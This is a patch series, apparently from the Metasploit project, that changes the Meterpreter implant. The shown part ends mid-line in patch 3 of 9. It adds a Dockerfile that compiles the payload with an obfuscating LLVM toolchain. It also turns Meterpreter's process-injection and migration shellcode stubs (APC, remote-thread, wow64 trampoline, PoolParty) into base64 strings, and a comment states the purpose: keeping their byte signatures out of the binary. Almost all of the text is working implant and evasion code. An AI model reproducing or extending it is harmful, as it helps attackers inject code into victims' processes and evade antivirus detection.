From 84e1c7199d591c1af63f1bf51354c7ecbfefea06 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 10 Aug 2026 12:58:12 +0200 Subject: [PATCH 1/9] feat: add optional Dockerfile for compile time obfuscation --- c/meterpreter/Makefile | 8 ++++++ docker/Dockerfile.obfuscation | 47 +++++++++++++++++++++++++++++++++++ 2 files changed, 55 insertions(+) create mode 100644 docker/Dockerfile.obfuscation diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile index bace012b0..b3f4bce6d 100644 --- a/c/meterpreter/Makefile +++ b/c/meterpreter/Makefile @@ -1,5 +1,9 @@ ID := $(shell id -u) +ifdef OBFUSCATION +DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:obfuscation +else DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:latest +endif COMMON_GEN=-Wno-dev -DCMAKE_SHARED_LINKER_FLAGS="-Wl,--strip-all,--build-id=none,--no-insert-timestamp,--exclude-all-symbols" -DCMAKE_MODULE_LINKER_FLAGS="-Wl,--strip-all,--build-id=none,--no-insert-timestamp,--exclude-all-symbols" -DUSE_STATIC_MSVC_RUNTIMES=ON COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=../toolsets/i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN} COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=../toolsets/x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN} @@ -14,6 +18,10 @@ COMMON_GEN += -DDBGTRACE=ON COMMON_GEN += -DDBGTRACE_VERBOSE=ON endif +ifdef ADDITIONAL_ARGS +COMMON_GEN += ${ADDITIONAL_ARGS} +endif + all: meterpreter clean: meterpreter-x64-clean meterpreter-x86-clean diff --git a/docker/Dockerfile.obfuscation b/docker/Dockerfile.obfuscation new file mode 100644 index 000000000..cfd823bc5 --- /dev/null +++ b/docker/Dockerfile.obfuscation @@ -0,0 +1,47 @@ +# To build the dev environment. +# docker build -t msf-ubuntu-x64-meterpreter:obfuscation -f ./Dockerfile.obfuscation . +FROM ubuntu:24.04 + +ENV DEBIAN_FRONTEND noninteractive +ENV TOOLCHAIN_PREFIX=/opt/arkari-mingw +ARG TOOLCHAIN_ARCHS="i686 x86_64" +ARG DEFAULT_CRT=msvcrt +ARG CFGUARD_ARGS="" + +# Other meterpreters +RUN apt-get update && \ + apt-get dist-upgrade -y && \ + apt-get -y install software-properties-common && \ + dpkg --add-architecture i386 && \ + apt-get update + +RUN mkdir -p $TOOLCHAIN_PREFIX +RUN mkdir /tmp/build + +RUN DEBIAN_FRONTEND="noninteractive" apt-get install -qqy --no-install-recommends \ + git wget bzip2 file unzip libtool pkg-config cmake build-essential \ + automake nasm gettext autopoint vim-tiny python3 \ + ninja-build ca-certificates curl less zip && \ + apt-get clean -y && \ + rm -rf /var/lib/apt/lists/* + +RUN git clone http://github.com/jbx81-1337/arkari-mingw.git --branch=master --single-branch /tmp/build +WORKDIR /tmp/build + +RUN ./build-llvm.sh $TOOLCHAIN_PREFIX && \ + ./build-lldb-mi.sh $TOOLCHAIN_PREFIX && \ + ./strip-llvm.sh $TOOLCHAIN_PREFIX && \ + ./install-wrappers.sh $TOOLCHAIN_PREFIX && \ + ./build-mingw-w64.sh $TOOLCHAIN_PREFIX --with-default-msvcrt=$DEFAULT_CRT $CFGUARD_ARGS && \ + ./build-mingw-w64-tools.sh $TOOLCHAIN_PREFIX && \ + ./build-compiler-rt.sh $TOOLCHAIN_PREFIX $CFGUARD_ARGS && \ + ./build-libcxx.sh $TOOLCHAIN_PREFIX $CFGUARD_ARGS && \ + ./build-mingw-w64-libraries.sh $TOOLCHAIN_PREFIX $CFGUARD_ARGS && \ + ./build-compiler-rt.sh $TOOLCHAIN_PREFIX --build-sanitizers && \ + ./build-openmp.sh $TOOLCHAIN_PREFIX $CFGUARD_ARGS && \ + rm -rf /build/* +ENV PATH="$TOOLCHAIN_PREFIX/bin:${PATH}" +ENV EXCLUDE_REFLECTIVE_LOADER=1 +ENV LLVM_ADDITIONAL_ARGS="-Wl,--strip-all,--build-id=none,--no-insert-timestamp,--exclude-all-symbols -fmodule-name=lib.dll -O0 -Wno-macro-redefined -Wno-unused-command-line-argument -Wno-error=incompatible-pointer-types" +ENV ARKARI_ADDITIONAL_ARGS="-mllvm -irobf-indbr -mllvm -irobf-icall -mllvm -irobf-indgv -mllvm -irobf-cse -mllvm -irobf-fla" +ENV ADDITIONAL_ARGS="-DCMAKE_CXX_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_C_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_ASM_FLAGS=\"-O0\"" \ No newline at end of file From 86134056f06b6e6efd2824789520da1acac89b1a Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 10 Aug 2026 15:49:46 +0200 Subject: [PATCH 2/9] feat: add exclude reflective loader in additional args of obfuscation dockerfile --- docker/Dockerfile.obfuscation | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/Dockerfile.obfuscation b/docker/Dockerfile.obfuscation index cfd823bc5..d4025a202 100644 --- a/docker/Dockerfile.obfuscation +++ b/docker/Dockerfile.obfuscation @@ -44,4 +44,4 @@ ENV PATH="$TOOLCHAIN_PREFIX/bin:${PATH}" ENV EXCLUDE_REFLECTIVE_LOADER=1 ENV LLVM_ADDITIONAL_ARGS="-Wl,--strip-all,--build-id=none,--no-insert-timestamp,--exclude-all-symbols -fmodule-name=lib.dll -O0 -Wno-macro-redefined -Wno-unused-command-line-argument -Wno-error=incompatible-pointer-types" ENV ARKARI_ADDITIONAL_ARGS="-mllvm -irobf-indbr -mllvm -irobf-icall -mllvm -irobf-indgv -mllvm -irobf-cse -mllvm -irobf-fla" -ENV ADDITIONAL_ARGS="-DCMAKE_CXX_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_C_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_ASM_FLAGS=\"-O0\"" \ No newline at end of file +ENV ADDITIONAL_ARGS="-DCMAKE_CXX_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_C_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_ASM_FLAGS=\"-O0\" -DEXCLUDE_REFLECTIVE_LOADER=ON" \ No newline at end of file From 5b9dc9bc62663d968a15d42929cd956bf9c449d0 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 10 Aug 2026 16:42:20 +0200 Subject: [PATCH 3/9] feat: encode migration stubs to base64 --- c/meterpreter/source/metsrv/base_inject.c | 222 +++++++++++----------- c/meterpreter/source/metsrv/util_b64.c | 53 ++++++ c/meterpreter/source/metsrv/util_b64.h | 13 ++ 3 files changed, 174 insertions(+), 114 deletions(-) create mode 100644 c/meterpreter/source/metsrv/util_b64.c create mode 100644 c/meterpreter/source/metsrv/util_b64.h diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c index 52410af67..52ad1f6c3 100644 --- a/c/meterpreter/source/metsrv/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -3,114 +3,63 @@ #include "remote_thread.h" #include "pool_party.h" #include "load_library_r.h" +#include "util_b64.h" #include +// The shellcode stubs below are stored base64-encoded so their raw byte +// signatures don't appear in the compiled binary. They are decoded on +// demand via b64_decode() at each use site. + // see '/msf/external/source/shellcode/windows/x86/src/migrate/executex64.asm' // 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 // found and fixed by ReWolf, incorporated by RaMMicHaeL -BYTE migrate_executex64[] = {0x55,0x89,0xE5,0x56,0x57,0x8B,0x75,0x08,0x8B,0x4D,0x0C,0xE8,0x00,0x00,0x00,0x00 - ,0x58,0x83,0xC0,0x2B,0x83,0xEC,0x08,0x89,0xE2,0xC7,0x42,0x04,0x33,0x00,0x00,0x00 - ,0x89,0x02,0xE8,0x0F,0x00,0x00,0x00,0x66,0x8C,0xD8,0x66,0x8E,0xD0,0x83,0xC4,0x14 - ,0x5F,0x5E,0x5D,0xC2,0x08,0x00,0x8B,0x3C,0xE4,0xFF,0x2A,0x48,0x31,0xC0,0x57,0xFF - ,0xD6,0x5F,0x50,0xC7,0x44,0x24,0x04,0x23,0x00,0x00,0x00,0x89,0x3C,0x24,0xFF,0x2C - ,0x24}; +static const char migrate_executex64_b64[] = + "VYnlVleLdQiLTQzoAAAAAFiDwCuD7AiJ4sdCBDMAAACJAugPAAAAZozYZo7Qg8QUX15dwggAizzk" + "/ypIMcBX/9ZfUMdEJAQjAAAAiTwk/ywk"; // see '/msf/external/source/shellcode/windows/x64/src/migrate/remotethread.asm' -BYTE migrate_wownativex[] = {0xFC,0x48,0x89,0xCE,0x48,0x89,0xE7,0x48,0x83,0xE4,0xF0,0xE8,0xC8,0x00,0x00,0x00 - ,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48 - ,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A - ,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9 - ,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C - ,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00 - ,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40 - ,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6 - ,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0 - ,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40 - ,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0 - ,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58 - ,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A - ,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x4D,0x31,0xC9,0x41,0x51,0x48,0x8D - ,0x46,0x18,0x50,0xFF,0x76,0x10,0xFF,0x76,0x08,0x41,0x51,0x41,0x51,0x49,0xB8,0x01 - ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x31,0xD2,0x48,0x8B,0x0E,0x41,0xBA,0xC8 - ,0x38,0xA4,0x40,0xFF,0xD5,0x48,0x85,0xC0,0x74,0x0C,0x48,0xB8,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00,0x00,0xEB,0x0A,0x48,0xB8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - ,0x48,0x83,0xC4,0x50,0x48,0x89,0xFC,0xC3}; +static const char migrate_wownativex_b64[] = + "/EiJzkiJ50iD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxh" + "fAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJ" + "AdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESL" + "QBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XU0xyUFRSI1GGFD/" + "dhD/dghBUUFRSbgBAAAAAAAAAEgx0kiLDkG6yDikQP/VSIXAdAxIuAAAAAAAAAAA6wpIuAEAAAAA" + "AAAASIPEUEiJ/MM="; // see '/msf/external/source/shellcode/windows/x86/src/migrate/apc.asm' -BYTE apc_stub_x86[] = {0xFC,0x8B,0x74,0x24,0x04,0x55,0x89,0xE5,0xE8,0x89,0x00,0x00,0x00,0x60,0x89,0xE5 - ,0x31,0xD2,0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x0F - ,0xB7,0x4A,0x26,0x31,0xFF,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0xC1,0xCF - ,0x0D,0x01,0xC7,0xE2,0xF0,0x52,0x57,0x8B,0x52,0x10,0x8B,0x42,0x3C,0x01,0xD0,0x8B - ,0x40,0x78,0x85,0xC0,0x74,0x4A,0x01,0xD0,0x50,0x8B,0x48,0x18,0x8B,0x58,0x20,0x01 - ,0xD3,0xE3,0x3C,0x49,0x8B,0x34,0x8B,0x01,0xD6,0x31,0xFF,0x31,0xC0,0xAC,0xC1,0xCF - ,0x0D,0x01,0xC7,0x38,0xE0,0x75,0xF4,0x03,0x7D,0xF8,0x3B,0x7D,0x24,0x75,0xE2,0x58 - ,0x8B,0x58,0x24,0x01,0xD3,0x66,0x8B,0x0C,0x4B,0x8B,0x58,0x1C,0x01,0xD3,0x8B,0x04 - ,0x8B,0x01,0xD0,0x89,0x44,0x24,0x24,0x5B,0x5B,0x61,0x59,0x5A,0x51,0xFF,0xE0,0x58 - ,0x5F,0x5A,0x8B,0x12,0xEB,0x86,0x5B,0x80,0x7E,0x10,0x00,0x75,0x3B,0xC6,0x46,0x10 - ,0x01,0x68,0xA6,0x95,0xBD,0x9D,0xFF,0xD3,0x3C,0x06,0x7C,0x1A,0x31,0xC9,0x64,0x8B - ,0x41,0x18,0x39,0x88,0xA8,0x01,0x00,0x00,0x75,0x0C,0x8D,0x93,0xCF,0x00,0x00,0x00 - ,0x89,0x90,0xA8,0x01,0x00,0x00,0x31,0xC9,0x51,0x51,0xFF,0x76,0x08,0xFF,0x36,0x51 - ,0x51,0x68,0x38,0x68,0x0D,0x16,0xFF,0xD3,0xC9,0xC2,0x0C,0x00,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00,0x00}; +static const char apc_stub_x86_b64[] = + "/It0JARVieXoiQAAAGCJ5THSZItSMItSDItSFItyKA+3SiYx/zHArDxhfAIsIMHPDQHH4vBSV4tS" + "EItCPAHQi0B4hcB0SgHQUItIGItYIAHT4zxJizSLAdYx/zHArMHPDQHHOOB19AN9+Dt9JHXiWItY" + "JAHTZosMS4tYHAHTiwSLAdCJRCQkW1thWVpR/+BYX1qLEuuGW4B+EAB1O8ZGEAFoppW9nf/TPAZ8" + "GjHJZItBGDmIqAEAAHUMjZPPAAAAiZCoAQAAMclRUf92CP82UVFoOGgNFv/TycIMAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAAAAAAAA=="; // see '/msf/external/source/shellcode/windows/x64/src/migrate/apc.asm' -BYTE apc_stub_x64[] = {0xFC,0x80,0x79,0x10,0x00,0x0F,0x85,0x13,0x01,0x00,0x00,0xC6,0x41,0x10,0x01,0x48 - ,0x83,0xEC,0x78,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48 - ,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48 - ,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C - ,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41 - ,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B - ,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01 - ,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF - ,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41 - ,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45 - ,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C - ,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41 - ,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20 - ,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF - ,0x5D,0x48,0x31,0xD2,0x65,0x48,0x8B,0x42,0x30,0x48,0x39,0x90,0xC8,0x02,0x00,0x00 - ,0x75,0x0E,0x48,0x8D,0x95,0x07,0x01,0x00,0x00,0x48,0x89,0x90,0xC8,0x02,0x00,0x00 - ,0x4C,0x8B,0x01,0x4C,0x8B,0x49,0x08,0x48,0x31,0xC9,0x48,0x31,0xD2,0x51,0x51,0x41 - ,0xBA,0x38,0x68,0x0D,0x16,0xFF,0xD5,0x48,0x81,0xC4,0xA8,0x00,0x00,0x00,0xC3,0x00 - ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00}; - +static const char apc_stub_x64_b64[] = + "/IB5EAAPhRMBAADGQRABSIPseOjIAAAAQVFBUFJRVkgx0mVIi1JgSItSGEiLUiBIi3JQSA+3SkpN" + "MclIMcCsPGF8AiwgQcHJDUEBweLtUkFRSItSIItCPEgB0GaBeBgLAnVyi4CIAAAASIXAdGdIAdBQ" + "i0gYRItAIEkB0ONWSP/JQYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18UwDTCQIRTnRddhYRItAJEkB" + "0GZBiwxIRItAHEkB0EGLBIhIAdBBWEFYXllaQVhBWUFaSIPsIEFS/+BYQVlaSIsS6U////9dSDHS" + "ZUiLQjBIOZDIAgAAdQ5IjZUHAQAASImQyAIAAEyLAUyLSQhIMclIMdJRUUG6OGgNFv/VSIHEqAAA" + "AMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; + // see '/msf/external/source/shellcode/windows/x64/src/migrate/poolparty.asm' -BYTE poolparty_stub_x64[] = {0xFC,0x55,0x57,0x56,0x48,0x89,0xE7,0xE9,0x01,0x01,0x00,0x00,0x5E,0x48,0x83,0xEC - ,0x78,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2 - ,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72 - ,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C - ,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48 - ,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75 - ,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50 - ,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41 - ,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9 - ,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1 - ,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44 - ,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41 - ,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52 - ,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x8B - ,0x4E,0x10,0x48,0x31,0xD2,0xFF,0xCA,0x41,0xBA,0x08,0x87,0x1D,0x60,0xFF,0xD5,0x48 - ,0x31,0xD2,0x4C,0x8B,0x06,0x4C,0x8B,0x4E,0x08,0x48,0x31,0xC9,0x51,0x51,0x41,0xBA - ,0x38,0x68,0x0D,0x16,0xFF,0xD5,0x48,0x89,0xFC,0x5E,0x5F,0x5D,0xC3,0xE8,0xFA,0xFE - ,0xFF,0xFF}; +static const char poolparty_stub_x64_b64[] = + "/FVXVkiJ5+kBAQAAXkiD7HjoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJ" + "SDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItI" + "GESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBm" + "QYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XYtOEEgx" + "0v/KQboIhx1g/9VIMdJMiwZMi04ISDHJUVFBujhoDRb/1UiJ/F5fXcPo+v7//w=="; // see '/msf/external/source/shellcode/windows/x86/src/migrate/poolparty.asm' -BYTE poolparty_stub_x86[] = {0x55,0x53,0x57,0x56,0x89,0xe6,0xfc,0xe9,0xbd,0x00,0x00,0x00,0x5d,0x6a,0xff,0xff - ,0x73,0x10,0x68,0x08,0x87,0x1d,0x60,0xff,0xd5,0x31,0xff,0x57,0x57,0xff,0x73,0x08 - ,0xff,0x33,0x57,0x57,0x68,0x38,0x68,0x0d,0x16,0xff,0xd5,0x89,0xf4,0x5e,0x5f,0x5b - ,0x5d,0xc3,0xe8,0xd5,0xff,0xff,0xff,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30 - ,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31 - ,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,0x75,0xef - ,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74 - ,0x4c,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0x85,0xc9,0x74,0x3c - ,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7 - ,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24 - ,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0 - ,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b - ,0x12,0xeb,0x83,0x5b,0xe8,0x69,0xff,0xff,0xff,0xe8,0xf5,0xff,0xff,0xff}; +static const char poolparty_stub_x86_b64[] = + "VVNXVonm/Om9AAAAXWr//3MQaAiHHWD/1TH/V1f/cwj/M1dXaDhoDRb/1Yn0Xl9bXcPo1f///2CJ" + "5THSZItSMItSDItSFItyKA+3SiYx/zHArDxhfAIsIMHPDQHHSXXvUleLUhCLQjwB0ItAeIXAdEwB" + "0FCLSBiLWCAB04XJdDxJizSLAdYx/zHArMHPDQHHOOB19AN9+Dt9JHXgWItYJAHTZosMS4tYHAHT" + "iwSLAdCJRCQkW1thWVpR/+BYX1qLEuuDW+hp////6PX///8="; + +// wow64->x64 trampoline: mov rax, rcx; shl rcx, 32; shr rcx, 32; shr rax, 32; jmp rax +static const char wow64_apc_trampoline_b64[] = "SInISMHhIEjB6SBIwegg/+A="; /* * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread @@ -127,6 +76,7 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, THREADENTRY32 t = {0}; APCCONTEXT ctx = {0}; DWORD dwApcStubLength = 0; + size_t stApcStubDecoded = 0; do { @@ -158,15 +108,19 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, else { // injecting x86->x86 - lpApcStub = &apc_stub_x86; - dwApcStubLength = sizeof( apc_stub_x86 ); + lpApcStub = b64_decode( apc_stub_x86_b64, &stApcStubDecoded ); + if( !lpApcStub ) + BREAK_WITH_ERROR( "[INJECT] inject_via_apcthread: b64_decode apc_stub_x86 failed", ERROR_OUTOFMEMORY ); + dwApcStubLength = (DWORD)stApcStubDecoded; } } else if( dwDestinationArch == PROCESS_ARCH_X64 ) { // injecting x64->x64 (and the same stub for x86(wow64)->x64) - lpApcStub = &apc_stub_x64; - dwApcStubLength = sizeof( apc_stub_x64 ); + lpApcStub = b64_decode( apc_stub_x64_b64, &stApcStubDecoded ); + if( !lpApcStub ) + BREAK_WITH_ERROR( "[INJECT] inject_via_apcthread: b64_decode apc_stub_x64 failed", ERROR_OUTOFMEMORY ); + dwApcStubLength = (DWORD)stApcStubDecoded; if( dwMeterpreterArch == PROCESS_ARCH_X86 ) { @@ -178,7 +132,8 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, MEMORY_BASIC_INFORMATION mbi = {0}; LPVOID lpRemoteAddress = NULL; BYTE * lpNopSled = NULL; - BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; + BYTE * bStub = NULL; + size_t stStubLen = 0; /* // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. @@ -227,15 +182,24 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, lpNopSled = (BYTE *)malloc( mbi.RegionSize ); if( !lpNopSled ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); - + memset( lpNopSled, 0x90, mbi.RegionSize ); - + if( !met_api->win_api.kernel32.WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) - - if( !met_api->win_api.kernel32.WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) + + bStub = b64_decode( wow64_apc_trampoline_b64, &stStubLen ); + if( !bStub ) + BREAK_WITH_ERROR( "[INJECT] inject_via_apcthread: b64_decode wow64_apc_trampoline failed", ERROR_OUTOFMEMORY ); + + if( !met_api->win_api.kernel32.WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - stStubLen), bStub, stStubLen, NULL ) ) + { + free( bStub ); + free( lpNopSled ); BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) + } + free( bStub ); free( lpNopSled ); } } @@ -366,6 +330,10 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV X64FUNCTION pX64function = NULL; WOW64CONTEXT * ctx = NULL; OSVERSIONINFO os = {0}; + BYTE * pExecStub = NULL; + BYTE * pWowStub = NULL; + size_t stExecStubLen = 0; + size_t stWowStubLen = 0; do { @@ -381,24 +349,33 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) } + // decode the base64-encoded stubs + pExecStub = b64_decode( migrate_executex64_b64, &stExecStubLen ); + if( !pExecStub ) + BREAK_WITH_ERROR( "[INJECT] inject_via_remotethread_wow64: b64_decode migrate_executex64 failed", ERROR_OUTOFMEMORY ); + + pWowStub = b64_decode( migrate_wownativex_b64, &stWowStubLen ); + if( !pWowStub ) + BREAK_WITH_ERROR( "[INJECT] inject_via_remotethread_wow64: b64_decode migrate_wownativex failed", ERROR_OUTOFMEMORY ); + // alloc a 